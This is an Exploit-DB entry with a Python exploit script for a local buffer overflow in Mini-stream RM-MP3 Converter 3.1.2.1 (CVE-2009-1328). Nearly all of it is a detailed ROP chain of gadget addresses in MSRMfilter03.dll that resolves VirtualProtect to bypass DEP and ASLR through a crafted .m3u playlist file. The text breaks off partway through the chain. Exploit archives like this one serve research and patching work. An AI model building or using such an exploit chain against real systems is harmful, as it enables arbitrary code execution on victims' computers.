Exploit-DB #20116
Description: Mini-stream RM-MP3 Converter 3.1.2.1.2010.03.30 - Local Buffer Overflow (ASLR + DEP Bypass)
Type: local
Platform: windows
Date: 2012-07-27
Author: Ptrace Security

Exploit:
# Exploit Title: Mini-stream RM-MP3 Converter 3.1.2.1.2010.03.30 local buffer overflow (\w ASLR and DEP bypass)
# Date: 26 July 2012
# Exploit Author: Gianni Gnesa
# Vendor Homepage: http://mini-stream.net/
# Software Link: http://mini-stream.net/rm-to-mp3-converter/download
# Version: 3.1.2.1.2010.03.30
# Tested on: Windows 7 SP1 (VMware)
# References: CVE-2009-1328, BID 34494 

from struct import pack

fname = "rop.m3u"
hdr   = "http://."
junk1 = "A" * 17416     # junk

rop =   [
            0x10041720, # RETN [MSRMfilter03.dll]
            0x41414141, # Compensate


            #### Save ESP into ESI
            # EAX=EBP
            0x1001a503, # XOR EAX,EAX / RETN [MSRMfilter03.dll]
            0x10051ff5, # ADD EAX,EBP / RETN [MSRMfilter03.dll]
            
            # ESI=EAX
            0x1005bb8e, # PUSH EAX / ADD DWORD PTR SS:[EBP+5],ESI / PUSH 1 / POP EAX / POP ESI / RETN [MSRMfilter03.dll]
            
            # EBX=ESI
            0x1001217b, # PUSH ESI / ADD AL,5E / POP EBX / RETN [MSRMfilter03.dll]

            # EDX=EBX
            0x1002991c, # XOR EDX,EDX / RETN [MSRMfilter03.dll]
            0x10029f3e, # ADD EDX,EBX / POP EBX / RETN 10 [MSRMfilter03.dll]
            0x41414141, # Junk popped in EBX
 
            # ESI=ESP
            0x10032D54, # PUSH ESP / AND AL,10 / POP ESI / MOV DWORD PTR DS:[EDX],ECX / RETN [MSRMfilter03.dll]
            0x41414141, # Junk for RETN
            0x41414141, # Junk for RETN
            0x41414141, # Junk for RETN
            0x41414141, # Junk for RETN

            
            #### Jump over VirtualProtect()
            0x100237C8, # ADD ESP, 20 / RETN [MSRMfilter03.dll]
            
            0x58585858, # VirtualProtect()
            0x58585858, # Return Address
            0x58585858, # lpAddress
            0x58585858, # dwSize
            0x58585858, # flNewProtect
            0x10085515, # lpflOldProtect  [Address in MSRMfilter03.dll]

            0x90909090, # Padding
            0x90909090, # Padding
            # ADD ESP,20 / RETN will land here


            #### Find kernel32.VirtualProtect
            # Save ESI (Saved ESP) into EBX
            0x1001217b, # PUSH ESI / ADD AL,5E / POP EBX / RETN [MSRMfilter03.dll]

            # EAX = Saved ESP - 0xACE4
            0x1002ca2d, # POP EAX / RETN [MSRMfilter03.dll]
            0xFFFF531C, # -0xACE4 (offset from the Saved ESP to the kernel32.XXXXBBE4 in the stack)
            0x10033bbb, # ADD EAX,ESI / POP ESI / RETN [MSRMfilter03.dll]
            0x41414141, # Junk popped in ESI

            # Pickup kernel32.XXXXBBE4 into EAX
            0x10027f59, # MOV EAX,DWORD PTR DS:[EAX] / RETN [MSRMfilter03.dll]

            # Find kernel32.VirtualProtect
            0x1001263D, # POP ECX / RETN [MSRMfilter03.dll]
            0xFFFF675D, # -0x98A3 (offset from kernel32.XXXXBBE4 to kernel32.VirtualProtect)
            0x1001451e, # ADD EAX,ECX / RETN [MSRMfilter03.dll] 


            ##### Write VirtualProtect address to memory
            # EDX = EBX = Saved ESP
            0x1002993c, # XOR EDX,EDX / RETN [MSRMfilter03.dll]
            0x10029f3e, # ADD EDX,EBX / POP EBX / RETN 10 [MSRMfilter03.dll]
            0x41414141, # Junk popped in EBX

            # EDX = EDX + 4
            0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]
            0x41414141, # Junk for RETN
            0x41414141, # Junk for RETN
            0x41414141, # Junk for RETN
            0x41414141, # Junk for RETN
            0x41414141, # Junk for ESI
            0x41414141, # Junk for EDI
            0x41414141, # Junk for EBX
            0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]
            0x41414141, # Junk for ESI
            0x41414141, # Junk for EDI
            0x41414141, # Junk for EBX
            0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]
            0x41414141, # Junk for ESI
            0x41414141, # Junk for EDI
            0x41414141, # Junk for EBX
            0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]
            0x41414141, # Junk for ESI
            0x41414141, # Junk for EDI
            0x41414141, # Junk for EBX
            
            # Write VirtualProtect address to memory
            0x10031e2e, # MOV DWORD PTR DS:[EDX],EAX / MOV EAX,3 / RETN [MSRMfilter03.dll]


            #### Write return address to memory
            # EAX = EDX (Saved ESP) + 0x300
            0x1002fa6a, # MOV EAX,EDX / RETN [MSRMfilter03.dll]
            0x10031c8c, # ADD EAX,100 / POP EBP / RETN [MSRMfilter03.dll]
            0x41414141, # Junk popped in EBP
            0x10031c8c, # ADD EAX,100 / POP EBP / RETN [MSRMfilter03.dll]
            0x41414141, # Junk popped in EBP
            0x10031c8c, # ADD EAX,100 / POP EBP / RETN [MSRMfilter03.dll]
            0x41414141, # Junk popped in EBP

            # EDX = EDX + 4
            0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]
            0x41414141, # Junk for ESI
            0x41414141, # Junk for EDI
            0x41414141, # Junk for EBX
            0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]
            0x41414141, # Junk for ESI
            0x41414141, # Junk for EDI
            0x41414141, # Junk for EBX
            0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]
            0x41414141, # Junk for ESI
            0x41414141, # Junk for EDI
            0x41414141, # Junk for EBX
            0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]
            0x41414141, # Junk for ESI
            0x41414141, # Junk for EDI
            0x41414141, # Junk for EBX
            
            # Write return address